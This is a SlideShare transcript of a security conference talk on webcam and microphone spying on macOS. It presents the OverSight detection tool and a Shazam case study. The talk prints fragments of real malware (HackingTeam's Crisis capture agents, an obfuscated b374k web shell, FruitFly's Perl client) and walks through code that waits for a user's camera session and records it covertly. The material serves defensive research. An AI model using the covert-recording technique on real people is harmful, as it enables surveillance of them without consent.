SlideShare a Scribd company logo
@patrickwardle
OverSight
exposing spies on macOS
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
security for the
21st century
@patrickwardle
exposing audio/video spies on macOS
OUTLINE
background mac malware 'piggy-backing'
protection
BACKGROUND
lights, camera, action
in the news (hackers)
WEBCAMS
"meet the men who spy on women
through their webcams"

-arstechnica.com
"shut up and dance"

-black mirror (S3, E3)
in the news (governments)
WEBCAMS
"NSA and its spy partners possess specialized tools
for...taking surreptitious pictures and videos" 

-wired.com
simplest; use avfoundation's apis
PROGRAMMATICALLY ACCESSING THE WEBCAM/MIC
avfoundation: "you can use it to examine, create, edit,
or re-encode media files. You can also get input
streams from devices..." -apple
"AVFoundation Programming
Guide" (apple)
}
AVFoundation stack (OS X )
must explicitly specify via entitlements
SANDBOXED APPS + WEBCAM ACCESS?
entitlement: 'com.apple.security.device.camera'
non-sandboxes apps, do not require an
entitlement to access the webcam
app sandbox
RECORDING VIDEO ON MACOS
#import "VideoSnap.h"
#import <AVFoundation/AVFoundation.h>
VideoSnap *videoSnap;
//ctl+c handler
void SIGINT_handler(int signum) {


//stop recoding
[videoSnap stopRecording:signum];
}
int main(int argc, const char * argv[]) {
//setup ctl+c handler
signal(SIGINT, &SIGINT_handler);
//alloc/start recording
videoSnap = [[VideoSnap alloc] init] record];
//run loop
[[NSRunLoop currentRunLoop] run];
}
github.com/
matthutchinson/videosnap
main()/sigint (ctl+c) handler
"videosnap"
RECORDING VIDEO ON MACOS
//class interface
@interface VideoSnap : NSObject <AVCaptureFileOutputRecordingDelegate> {
AVCaptureSession *session;
AVCaptureMovieFileOutput *output;
}
-(void)record {



//grab default device

AVCaptureDevice* device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];



//init session and output file obj

session = [[AVCaptureSession alloc] init];

output = [[AVCaptureMovieFileOutput alloc] init];



//init video input

AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];



//add input & output

[self.session addInput:input];

[self.session addOutput:output];



//go go go!

[self.session startRunning];

[movieFileOutput startRecordingToOutputFileURL:

[NSURL fileURLWithPath:@"out.mov"] recordingDelegate:self];
}
video recoding logic (via avfoundation)
RECORDING VIDEO ON MACOS
//invoke from ctl+c handler
// ->invoke stopRecoding on 'AVCaptureMovieFileOutput' object
-(void)stopRecording:(int)sigNum {
//stop recording
[self.output stopRecording];
}
// AVCaptureFileOutputRecordingDelegate delegate method
// ->automatically invoked when output file is done 'writing out'
-(void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {


//stop session & exit
[self.session stopRunning];
exit(0);
}
stopping/finalizing the video capture
$ ./videoSnap
capturing video off 'FaceTime HD Camera'
^ctl+c
....saving capture to 'out.mov'
$ file out.mov
ISO Media, Apple QuickTime movie (.MOV/QT)
RECORDING AUDIO ON MACOS
//get default audio device
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
//create input device
AVCaptureDeviceInput *audioInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice
error:nil];
//add to capture session
[self.session addInput:audioInput];
...
simply find/add device of type 'AVMediaTypeAudio'
$ ./audioSnap
capturing audio off 'Built-in Microphone'
^ctl+c
....saving capture to 'out.mov'
$ file out.mov
ISO Media, Apple QuickTime movie (.MOV/QT)
no alert (LED, etc)
hardware based, in firmware
THE WEBCAM LED
Q: "Is it possible for someone to hack into the camera...and the
green light not be on?"
A: "This feature is implemented in the firmware...

Now, while it's technically possible to replace that firmware, you
would have to do some Mission Impossible sh** to pull that off
(break into Apple/Chinese camera chip manufacturer, steal firmware
source code, modify it, and then somehow inject it into the camera,
which probably involves physically removing it from the computer"
-reddit
LED, hardware based
signed firmware?
immutable?›
›
tl;dr (now) extremely difficult (physical access?)
macbooks (2008)
ISIGHT ARCHITECTURE
"iSeeYou: Disabling the MacBook
Webcam Indicator LED" -JHU
Cyprus EZ-USB Micron Image Sensor
host computer
usb connectiona
b
c
dLED light
a Host computer communicates
with USB controller
b USB micro-controller communicates with the
image sensor via I/O pins
c LED indictor connected to STANDBY input
(off when STANDBY, on otherwise)
d Image sensor produces images
...give it new firmware
REPROGRAMMING ISIGHT
1
1
2
2
"it [USB controller] can be reprogrammed at any time
using 'Firmware Load' requests. Furthermore, it can be
reprogrammed from any user space process" -JHU
'upload' malicious firmware to USB controller
keep STANDBY asserted ('on')
configure image sensor to ignore STANDBY
›
›
wow, too 'easy' :/
0x1: physically cover
PROTECT YOUR WEBCAMS


"Cover up your
webcam" -FBI director
facebook guy
amazon has covers
0x2: via file permissions
PROTECT YOUR WEBCAMS
# csrutil status
System Integrity Protection status: disabled.
# chmod 200 /System/Library/Frameworks/CoreMediaIO.framework/Versions/A/Resources/VDC.plugin/
Contents/MacOS/VDC
# chmod 200 /System/Library/PrivateFrameworks/CoreMediaIOServicesPrivate.framework/Versions/A/
Resources/AVC.plugin/Contents/MacOS/AVC
# chmod 200 /System/Library/QuickTime/QuickTimeUSBVDCDigitizer.component/Contents/MacOS/
QuickTimeUSBVDCDigitizer
# chmod 200 /Library/CoreMediaIO/Plug-Ins/DAL/AppleCamera.plugin/Contents/MacOS/AppleCamera
# chmod 200 /Library/CoreMediaIO/Plug-Ins/FCP-DAL/AppleCamera.plugin/Contents/MacOS/AppleCamera
1
2
disable System Integrity Protection
set webcam related plugins to '--w-------'
}
"how to disable
webcam....completely" -osxdaily
AUDIO/VIDEO 'AWARE' MALWARE
becoming ever more prevalent :(
hackingteam's implant
OS X/CRISIS
“Building HackingTeam's 

OS X Implant For Fun & Profit"
launch	agent rootkit	component
persistence	(leaked	source	code)
intelligence	collec5on
webcam access
OS X/CRISIS
/*
* RCSMac - Webcam agent
*
* Copyright (C) HT srl 2009. All rights reserved
*
*/
-(BOOL)_initSession
{
mCaptureSession = [[QTCaptureSession alloc] init];
mDevice = [QTCaptureDevice defaultInputDeviceWithMediaType:QTMediaTypeVideo];
mCaptureDeviceInput = [[QTCaptureDeviceInput alloc] initWithDevice: mDevice];

[mCaptureSession addInput: mCaptureDeviceInput error: &error]

....
}
HT's webcam capture code (RCSMAgentWebcam.m)
// modules keywords
#define MODULES_ADDBK_KEY @"addressbook"
#define MODULES_MSGS_KEY @"messages"
#define MODULES_MIC_KEY @"mic"
#define MODULES_SNP_KEY @"screenshot"
#define MODULES_KEYL_KEY @"keylog"
#define MODULES_CAMERA_KEY @"camera"
#define MODULES_CHAT_KEY @"chat"
#define MODULES_MOUSE_KEY @"mouse"
mic access
OS X/CRISIS
/*
* RCSMAgentMicrophone.m
* Microphone Agent for MacOS
* Uses AudioQueues from AudioToolbox
*
* Copyright (C) HT srl 2011. All rights reserved
*/
-(void)startRecord
{
infoLog(@"Starting mic agent");
// Create a new recording audio queue
success = AudioQueueNewInput(&mDataFormat,myInputAudioCallback,self,
NULL,kCFRunLoopCommonModes,0,&mQueue);
....
// Start the queue
success = AudioQueueStart(mQueue, NULL);
}
HT's mic capture code (RCSMAgentMicrophone.m)
// modules keywords
#define MODULES_ADDBK_KEY @"addressbook"
#define MODULES_MSGS_KEY @"messages"
#define MODULES_MIC_KEY @"mic"
#define MODULES_SNP_KEY @"screenshot"
#define MODULES_KEYL_KEY @"keylog"
#define MODULES_CAMERA_KEY @"camera"
#define MODULES_CHAT_KEY @"chat"
#define MODULES_MOUSE_KEY @"mouse"
trojan + tor backdoor
OS X/ELEANOR-A
'EasyDoc Convertor' 

(macupdate.com)
<?php
/*
b374k shell 3.2.3 / Jayalah Indonesiaku
https://github.com/b374k/b374k
*/
$GLOBALS['pass'] = "15bd408e435dc1a1509911cfd8c312f46ed54226";
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$ ...
b374k shell
tor hidden service
webcam capture
OS X/ELEANOR-A
osx/eleanor
& utilities
$	./wacaw	--video	--duration	60	capture.avi	
video	size	(160	x	120)	
duration	60	seconds	
$	file	capture.avi	
capture.avi:	ISO	Media,	Apple	QuickTime	movie
sourceforge.net
/p/webcam-tools
wacaw
wacaw: "a collection of tools and scripts for
processing images and video from attached USB
and FireWire webcams on Mac OS X"
'sophisticated' cross-platform backdoor
OS X/MOKES
"This malware...is able to steal various types of data
from the victim’s machine (Screenshots, Audio-/Video-
Captures, Office-Documents, Keystrokes)" -kaspersky
screen}capture
video
audio
execute
monitor for
removable media
search for
office docs
0000001C unicode :/file-search
0000000E unicode *.xlsx
0000000C unicode *.xls
0000000E unicode *.docx
0000000C unicode *.doc
capture
webcam capture via QT
OS X/MOKES
AVFMediaRecorderControl::AVFMediaRecorderControl(AVFCameraService *,QObject *)
AVFMediaRecorderControl::setState(QMediaRecorder::State)
AVFMediaRecorderControl::setupSessionForCapture(void)
plugins/avfoundation/camera/
avfmediarecordercontrol.mm
AVFMediaRecorderControl::setupSessionForCapture(void) proc
...
call AVFCameraSession::state(void)
call AVFAudioInputSelectorControl::createCaptureDevice(void)
lea rdx, "Could not connect the video recorder"
...

call QMediaRecorderControl::error(int,QString const&)
IDA disasm
backdoor targeting biomedical research institutions
OS X/FRUITFLY (QUIMITCHIN)
$	file	FruitFly/client	
client:	a	/usr/bin/perl	script	executable	
$	less	FruitFly/client	
#!/usr/bin/perl	
use	strict;use	warnings;use	IO::Socket;use	IPC::Open2;my$a;sub	A{die	if!defined	syswrite$a,$_[0]}
sub	B{my($b,$c)=('','');while($_[0]>length$b){die	if!sysread$a,$c,$_[0]-length$b;$b.=$c;}return	
$b;}sub	C{unpack'V',B	4}sub	E{B	C}sub	G{my$b=E;$b=~s////g;$b}sub	H{my$b=eval{my$d=`$_[0]`;chomp	
...	
__DATA__	
<CE><FA><ED><FE>....	
	
'client' perl script
connection attempts
launch agent persistence
webcam capture QuickTime APIs
OS X/FRUITFLY (QUIMITCHIN)
int sub_2f80(int arg0, int arg1, int arg2, int arg3)
{
eax = OpenDefaultComponent(0x62617267, 0x0);
eax = SGInitialize();
eax = SGNewChannel();
eax = SGGetChannelDeviceList();
eax = SGStartRecord();
hopper decompile
$	file	FruitFly/client	
client:		Mach-O	executable	i386	
$	ls	
MacOSX10.11.sdk			MacOSX10.12.sdk	
$	locate	QuickTime.h	
/MacOSX10.11.sdk/System/Library/Frameworks/QuickTime.framework/Versions/A/Headers/QuickTime.h
}deprecated APIs
32-bit only
Piggy-Backing
grabbing audio & video
...for a variety of legit & sensitive uses
USERS USE THEIR WEBCAMS
business meetings
skyping with sources
R&D sessions
intimate FaceTimes
record audio/video during such sessions (!detected)
THE GOAL
infected mac
user initiates webcam session
malware detects this & begins
recording (until session ends)
...and exfil's it to remote attacker
enumerate camera
DETECTING VIDEO SESSION
#import <AVFoundation/AVFoundation.h>
//array of cameras
NSArray *cameras = nil;
//get cameras
cameras = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo];
//enumerate all
// ->display info, etc
for(AVCaptureDevice* camera in cameras)
{
//display info
NSLog(@"camera: %@/%@", camera.manufacturer, camera.localizedName);
}
$ ./enumCameras
camera: Apple Inc./FaceTime HD Camera
camera enumeration
register for notifications
DETECTING VIDEO SESSION
//grab connection ID
connectionID = [camera performSelector:NSSelectorFromString(@"connectionID") withObject:nil];
//property struct
CMIOObjectPropertyAddress propertyStruct = {0};
//init property struct's selector
propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
//init property struct's scope
propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
//init property struct's element
propertyStruct.mElement = kAudioObjectPropertyElementMaster;
//block
// ->invoked when video changes & just calls helper function
CMIOObjectPropertyListenerBlock listenerBlock =
^(UInt32 inNumberAddresses, const CMIOObjectPropertyAddress addresses[])
{
//handle notification
};
//register (add) property block listener
CMIOObjectAddPropertyListenerBlock(connectionID, &propertyStruct, 

dispatch_get_main_queue(), listenerBlock);
notification registration
handle the notification
DETECTING VIDEO SESSION
//running flag
UInt32 isRunning = -1;
//size of query flag
UInt32 propertySize = sizeof(isRunning);
//property address struct
CMIOObjectPropertyAddress propertyStruct = {0};
//init property struct's selector
propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
//init property struct's scope
propertyStruct.mScope = kCMIOObjectPropertyScopeGlobal;
//init property struct's element
propertyStruct.mElement = 0;
//query to get 'kAudioDevicePropertyDeviceIsRunningSomewhere' status
CMIOObjectGetPropertyData(deviceID, &propertyStruct, 0, NULL,
sizeof(kAudioDevicePropertyDeviceIsRunningSomewhere), &propertySize, &isRunning);
//check if camera went active!
if(YES == isRunning)
{
//record!
}
determine camera status
or?
camera went active,
record!
standard APIs & recording logic!
RECORDING THE SESSION
//capture session
AVCaptureSession* session = [[AVCaptureSession alloc] init];


//video input
AVCaptureDeviceInput* input = [AVCaptureDeviceInput deviceInputWithDevice:videoDevice error:NULL];
//output file
AVCaptureMovieFileOutput* output = [[AVCaptureMovieFileOutput alloc] init];
//add input
[session addInput:input];
//add output
[session addOutput:output];
//start session
[session startRunning];
//start recording!
[movieFileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"someFile"]
recordingDelegate:self];
'shared' access
the malware shouldn't keep the camera on!
DETECTING SESSION END
application termination
-(void)registerNotification
{
//register for 'app terminated' notification
[[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self
selector:@selector(appTerminated:) name:NSWorkspaceDidTerminateApplicationNotification object:nil];
}
-(void)appTerminated:(NSNotification *)note
{
//dbg msg
NSLog(@"application terminated %@", note.userInfo);
//webcam initiator?
// ->stop recording too!
if(YES == [webcamApp isEqualToString:note.userInfo[@"NSApplicationPath"]])
//stop recording
$ ./register4Notifications
NSApplicationBundleIdentifier = "com.apple.FaceTime";
NSApplicationName = FaceTime;
NSApplicationPath = "/Applications/FaceTime.app";
NSApplicationProcessIdentifier = 63527;
and users le sad :(
WHY THIS MAKES MALWARE HAPPY
no root
always record "invisible"
}apple 'approved'
PROTECTION
detecting 'multiple' accesses
detect any/all processes that access camera/mic
THE GOAL
monitor for cam/mic usage
identify consumer process
while(webcam in use)
›	monitor for consumers
novel features!
detect/block
steps:
detect all consumers
@Morpheus______
& @DubiousMind - mahalo!!
detect any/all processes that access camera/mic
THE TOOL: OVERSIGHT
detects audio/video use
}
objective-see.com (free!)
access via 

status bar
id's primary & seconds consumer
webcam processes
user can allow or block
detect any/all processes that access the camera
THE TOOL: OVERSIGHT
Login Item XPC serviceXPC comms
status menu
monitor audio/
video changes
find consumer
kill process
alert user
at the moment, not an exact science - but works!
IDENTIFYING CONSUMER VIDEO PROCESSES
camera assistant
process
consumer process
monitor for msgs
query for "mach-msg-sending"
processes
analyze each process
›	loaded libraries
›	thread backtraces
AFAIK; no direct method to
determine consumer processes
mach msg
good start, but limited 'features'
OVERSIGHT VERSION 1.0
85,000+
downloads
no audio-process
identification (mic)
no whitelisting
beat out the US Govt ;)
room for
improvement!
no command-line
interface
(v1.1) who's using the mic?
IDENTIFYING CONSUMER AUDIO PROCESSES
oversight
core audio daemon
(coreaudiod)
mach msg
mic is active!
siri
mic
ioregistry
(v1.1) allow trusted apps
WHITE-LISTING PROCESSES
alert
white-listed apps
will ignore 

white-listed apps
1
2
3
CASE-STUDY
off != off!?
can you hear me now?
CASE STUDY: SHAZAM
flight to EkoParty Conference = no distractions
can you hear me now?
CASE STUDY: SHAZAM
song identification
on & listening
OverSight alert
but what about when we turn it off?
CASE STUDY: SHAZAM
no OverSight
'deactivation' alert
they aren't still
listening? are they!?!
"shazam is here to lend its ears to your mac" 

-shazam
digging into the app's components
CASE STUDY: SHAZAM
BlockBlock alert
Shazam's app bundle
"Modern Login Items"

martiancraft.com/blog/2015/01/login-items/›
reversing Shazam Login Item
CASE STUDY: SHAZAM
-[SHLPAppDelegate applicationDidFinishLaunching:]


mov r13, cs:_objc_msgSend_ptr
mov rdi, cs:classRef_NSURL
mov rsi, cs:selRef_URLWithString_
lea rdx, cfstr_ShazammacLaunc ; "shazammac://launch"
call r13


mov rdi, cs:classRef_NSWorkspace
mov rsi, cs:selRef_sharedWorkspace
call r13
mov r14, rax

mov rsi, cs:selRef_openURL_
mov rdi, r14
mov rdx, rbx
call r13
-[SHLPAppDelegate applicationDidFinishLaunching:]
{
//create URL
NSURL* url = [NSURL URLWithString:@"shazammac://launch"];
//open it
[[NSWorkspace sharedWorkspace] openURL:url];
}
disassembly
pseudo code
login login item
shazam
(automatically started)
Shazam's URL Schemes
CASE STUDY: SHAZAM
$ cat /Applications/Shazam.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>com.shazam.mac.Shazam</string>
<key>CFBundleURLSchemes</key>
<array>
<string>shazammac</string>
</array>
</dict>
</array>
...
Shazam's URL Schemes
[CFBundleURLSchemes]



url schemes the app
can ‘handle’
scheme 

shazamac://
reversing Shazam Application
CASE STUDY: SHAZAM
what logic is executed
when user toggles on/off? toggle
$ classdump Shazam.app/Contents/MacOS/Shazam
@interface SHMainViewController : NSViewController
{
SHAppTagManager *_tagManager;
SHContinuousTagging *_continuousTagging;
...
}
-(void)toggleAutoTagging:(id)arg1;
-(void)updateAutoTaggingUI;
class dump of Shazam
'toggleAutoTagging:' 

looks interesting!
...let's debug/analyze
reversing 'toggleAutoTagging:'
CASE STUDY: SHAZAM
$ lldb /Applications/Shazam.app
(lldb) target create "/Applications/Shazam.app"
Current executable set to '/Applications/Shazam.app'
(lldb) b -[SHMainViewController toggleAutoTagging:]
(lldb) * stop reason = breakpoint 1.1
Shazam`-[SHMainViewController toggleAutoTagging:]
arg name (for) objc_msgSend
0 RDI class
1 RSI method name
2 RDX 1st argument
3 RCX 2nd argument
4 R8 3rd argument
5 R9 4th argument
calling convention 

(system v, amd64 abi)
(lldb) po $rdi
<SHMainViewController: 0x10199d2e0>
(lldb) x/s $rsi
0x10001f72d: "toggleAutoTagging:"
(lldb) po $rdx
<ITSwitch: 0x107c37a00>
(lldb) p (BOOL)[$rdx isOn]
(BOOL) $5 = NO
'ITSwitch' class
reversing 'toggleAutoTagging:'
CASE STUDY: SHAZAM
void -[SHMainViewController toggleAutoTagging:]
{
//will execute when user toggles to 'OFF'
if([rbx isContinuousTaggingRunning] != 0x0)
{
rbx = [r14 applicationConfiguration];
[rbx setUserDisabledTagging:0x1, rcx];
rbx = [[r14 tagManager] retain];
[rbx stopTagging];
}
...
$ classdump Shazam.app/Contents/Frameworks/
ShazamSDK.framework/ShazamSDK
@interface SHKTaggingInterruptController
- (void)stopTagging;
- (void)stopRecording;
1
void -[SHKTaggingInterruptController stopTagging]
{
...
[self stopTaggingForReason:0x2
withError:0x0 tagContext:0x0];
}
-[SHMainViewController toggleAutoTagging:]2
-[SHKTaggingInterruptController stopTagging]
3 -[SHAppTagManager stopTagging]
4
//check if recording should stop
r13 = (rbx,
@selector(shouldStopRecordingWhenTaggingEnds));
if (r13 != 0x0)
[r14 stopRecording];
5 -[SHKTaggingInterruptController
stopTaggingCommon:]
reversing 'stopRecording'
CASE STUDY: SHAZAM
int ___33-[SHKAudioRecorder stopRecording]_block_invoke(int arg0)
{
rbx = [[*(arg0 + 0x20) audioConfigurator] retain];
r15 = AudioOutputUnitStop([rbx rioUnit]);
}
AudioOutputUnitStop: "stops an I/O audio unit, which in
turn stops the audio unit processing graph that it is
connected to" -apple
recall though, 'stopRecording' is only invoked
if 'shouldStopRecordingWhenTaggingEnds'
return YES (TRUE)
reversing 'shouldStopRecordingWhenTaggingEnds:'
CASE STUDY: SHAZAM
char -[SHKTaggingOptions
shouldStopRecordingWhenTaggingEnds]
{
rax = [self taggingType];
rax = (rax == 0x2 ? 0x1 : 0x0) & 0xff;
return rax;
}
'taggingType' is 0x2?
return 'YES' (TRUE/0x1)
return 'NO' (FALSE/0x0)
(lldb) * stop reason = breakpoint 2.1
ShazamSDK`-[SHKTaggingOptions shouldStopRecordingWhenTaggingEnds]
(lldb) p (int)[$rdi taggingType]
(int) $17 = 1
so, since 'taggingType' is not
0x2,'stopRecording' isn't called when
user clicks 'OFF'...wtf!?
are we sure?
CASE STUDY: SHAZAM
void -[SHAppTagManager startContinuousTagging]
{
rbx = [[self taggingController] retain];
[rbx startTaggingWithType:0x1];
...
}
(lldb) p (BOOL)[0x100729040 isRecording]
(BOOL) $19 = YES
'SHKAudioRecorder' instance
'taggingType' hardcoded
turned off; 'isRecording' returns YES!
Shazam admitted to 'continue recording'
is this an issue? well...
CASE STUDY: SHAZAM
(lldb) bt

frame #1: ShazamSDK`ShazamRecordingInputCallback + 1302
frame #2: CoreAudio`AUHAL::AUIOProc() + 2324
frame #3: CoreAudio`HALC_ProxyIOContext::IOWorkLoop() + 5453
frame #4: CoreAudio`HALC_ProxyIOContext::IOThreadEntry() + 131
frame #5: CoreAudio`HALB_IOThread::Entry() +
//only process audio if 'generating' flag is set
if (YES == (r14 = (rbx, @selector(generating), rdx, rcx))){
...
memcpy(*((rbx, @selector(audioConsumerBufferList)) + 0x10), var_38, 0x0);
(lldb) * stop reason = breakpoint 3.1
ShazamSDK`-[SHKSignatureGenerator setGenerating:]
(lldb) p (BOOL)$rdx

(BOOL) $46 = NO
'OFF' thereof means simply, "stop processing the
recorded data" ...not cease recording ('sampling')
`
CASE STUDY: SHAZAM
"updated the app to make sure the microphone is completely
turned off when Shazam isn't running" -shazam, v1.2.1
CONCLUSIONS
wrapping this up
as traditional AV has (well-known) limitations
GENERIC DETECTIONS
keydnap (7/2016)
(still) only 3 detections :(
known limitations:
								only detects known samples

			trivial to bypass
enumerate/monitor all persistent software
MALWARE PERSISTS
KnockKnock
BlockBlock
detect rapid creation of 🔐-files by untrusted procs
RANSOMWARE ENCRYPTS!
OSX/KeRanger
creating encrypted files
rapidly / high number
by an untrusted process
}
RansomWhere?
"Towards Generic
Ransomware Detection"
free security tools!
OBJECTIVE-SEE(.COM)
KnockKnock BlockBlock
TaskExplorer
Ostiarius
Hijack Scanner
KextViewr RansomWhere?
support it :)
www.patreon.com/objective_see
contact me any time :)
QUESTIONS & ANSWERS
patrick@synack.com
@patrickwardle
www.synack.com/red-team
join the red team!
patreon.com/objective_see
mahalo :)
CREDITS
- FLATICON.COM
- THEZOOOM.COM
- ICONMONSTR.COM
- HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/
- HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/
2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG 



- "MAC OS X AND IOS INTERNALS" -JONATHAN LEVIN
- LABS.BITDEFENDER.COM/WP-CONTENT/UPLOADS/2016/07/BACKDOOR-MAC-ELEANOR_FINAL.PDF
- SECURELIST.COM/BLOG/RESEARCH/75990/THE-MISSING-PIECE-SOPHISTICATED-OS-X-BACKDOOR-
DISCOVERED/
- HTTPS://DEVELOPER.APPLE.COM/LIBRARY/CONTENT/DOCUMENTATION/AUDIOVIDEO/CONCEPTUAL/
AVFOUNDATIONPG/ARTICLES/00_INTRODUCTION.HTML#//APPLE_REF/DOC/UID/TP40010188-CH1-
SW3
images
resources

More Related Content

PDF
Pwned in Translation - from Subtitles to RCE
PDF
Macdoored
PDF
Web (dis)assembly
PDF
I can be apple and so can you
PDF
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
PDF
44CON London 2015 - Hunting Asynchronous Vulnerabilities
PDF
44CON London 2015 - reverse reverse engineering
PDF
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
Pwned in Translation - from Subtitles to RCE
Macdoored
Web (dis)assembly
I can be apple and so can you
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - reverse reverse engineering
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces

What's hot (20)

PDF
HTML5 multimedia - browser-native video and audio - JSDay / Verona / 17 May 2012
PDF
DrupalCamp London 2017 - Web site insecurity
PDF
Cracking into embedded devices and beyond
PDF
Advanced Mac Software Deployment and Configuration: Just Make It Work!
PDF
Jump into Squeak - Integrate Squeak projects with Docker & Github
PDF
Docker security
PDF
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
PDF
State of Web APIs 2017
PDF
Windows Attacks AT is the new black
PDF
PEW PEW PEW: Designing Secure Boot Securely
PDF
Attacker Ghost Stories - ShmooCon 2014
PDF
US-13-Singh-Hot-Knives-Through-Butter-Evading-File-Based-Sandboxes-Slides
PDF
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
PDF
Null bhopal Sep 2016: What it Takes to Secure a Web Application
PDF
Infrastructureascode slideshare-160331143725
PPSX
Attacking HTML5
PPTX
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
PDF
Global Shutter Camera for Jetson Xavier NX / Jetson Nano
PPTX
Anatomy of Exploit Kits
PDF
Os Ramani
HTML5 multimedia - browser-native video and audio - JSDay / Verona / 17 May 2012
DrupalCamp London 2017 - Web site insecurity
Cracking into embedded devices and beyond
Advanced Mac Software Deployment and Configuration: Just Make It Work!
Jump into Squeak - Integrate Squeak projects with Docker & Github
Docker security
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
State of Web APIs 2017
Windows Attacks AT is the new black
PEW PEW PEW: Designing Secure Boot Securely
Attacker Ghost Stories - ShmooCon 2014
US-13-Singh-Hot-Knives-Through-Butter-Evading-File-Based-Sandboxes-Slides
DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbo...
Null bhopal Sep 2016: What it Takes to Secure a Web Application
Infrastructureascode slideshare-160331143725
Attacking HTML5
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
Global Shutter Camera for Jetson Xavier NX / Jetson Nano
Anatomy of Exploit Kits
Os Ramani
Ad

More from Shakacon (20)

PDF
Cloud forensics putting the bits back together
PDF
Modern Reconnaissance Phase on APT - protection layer
PDF
Shamoon
PDF
A Decompiler for Blackhain-Based Smart Contracts Bytecode
PPTX
Honey, I Stole Your C2 Server: A Dive into Attacker Infrastructure
PPTX
Dock ir incident response in a containerized, immutable, continually deploy...
PDF
Reviewing the Security of ASoC Drivers in Android Kernel
PDF
Silent Protest: A Wearable Protest Network
PDF
WiFi-Based IMSI Catcher
PPTX
Sad Panda Analysts: Devolving Malware
PDF
reductio [ad absurdum]
PDF
XFLTReat: a new dimension in tunnelling
PDF
Windows Systems & Code Signing Protection by Paul Rascagneres
PDF
When Encryption is Not Enough...Sumanth Naropanth, Chandra Prakash Gopalaiah ...
PDF
The Search for the Perfect Door - Deviant Ollam
PDF
Swift Reversing by Ryan Stortz
PDF
Making a Scalable Automated Hacking System by Artem Dinaburg
PDF
Hunting Government Back Doors by Joseph Menn
PDF
Let's Play Doctor....by Patrick Wardle
PDF
Fruit vs Zombies: Defeat Non-jailbroken iOS Malware by Claud Xiao
Cloud forensics putting the bits back together
Modern Reconnaissance Phase on APT - protection layer
Shamoon
A Decompiler for Blackhain-Based Smart Contracts Bytecode
Honey, I Stole Your C2 Server: A Dive into Attacker Infrastructure
Dock ir incident response in a containerized, immutable, continually deploy...
Reviewing the Security of ASoC Drivers in Android Kernel
Silent Protest: A Wearable Protest Network
WiFi-Based IMSI Catcher
Sad Panda Analysts: Devolving Malware
reductio [ad absurdum]
XFLTReat: a new dimension in tunnelling
Windows Systems & Code Signing Protection by Paul Rascagneres
When Encryption is Not Enough...Sumanth Naropanth, Chandra Prakash Gopalaiah ...
The Search for the Perfect Door - Deviant Ollam
Swift Reversing by Ryan Stortz
Making a Scalable Automated Hacking System by Artem Dinaburg
Hunting Government Back Doors by Joseph Menn
Let's Play Doctor....by Patrick Wardle
Fruit vs Zombies: Defeat Non-jailbroken iOS Malware by Claud Xiao
Ad

Recently uploaded (20)

PDF
Getting Started with Data Integration: FME Form 101
PDF
2021 HotChips TSMC Packaging Technologies for Chiplets and 3D_0819 publish_pu...
PDF
WOOl fibre morphology and structure.pdf for textiles
PPTX
Chapter 5: Probability Theory and Statistics
PPTX
Modernising the Digital Integration Hub
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
PPTX
Programs and apps: productivity, graphics, security and other tools
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
PDF
DP Operators-handbook-extract for the Mautical Institute
PDF
Hybrid model detection and classification of lung cancer
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
PDF
Getting started with AI Agents and Multi-Agent Systems
PDF
Enhancing emotion recognition model for a student engagement use case through...
PPTX
O2C Customer Invoices to Receipt V15A.pptx
PPT
What is a Computer? Input Devices /output devices
PDF
NewMind AI Weekly Chronicles – August ’25 Week III
PPTX
Final SEM Unit 1 for mit wpu at pune .pptx
PPTX
cloud_computing_Infrastucture_as_cloud_p
PDF
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
Getting Started with Data Integration: FME Form 101
2021 HotChips TSMC Packaging Technologies for Chiplets and 3D_0819 publish_pu...
WOOl fibre morphology and structure.pdf for textiles
Chapter 5: Probability Theory and Statistics
Modernising the Digital Integration Hub
gpt5_lecture_notes_comprehensive_20250812015547.pdf
Programs and apps: productivity, graphics, security and other tools
Group 1 Presentation -Planning and Decision Making .pptx
DP Operators-handbook-extract for the Mautical Institute
Hybrid model detection and classification of lung cancer
Hindi spoken digit analysis for native and non-native speakers
Microsoft Solutions Partner Drive Digital Transformation with D365.pdf
Getting started with AI Agents and Multi-Agent Systems
Enhancing emotion recognition model for a student engagement use case through...
O2C Customer Invoices to Receipt V15A.pptx
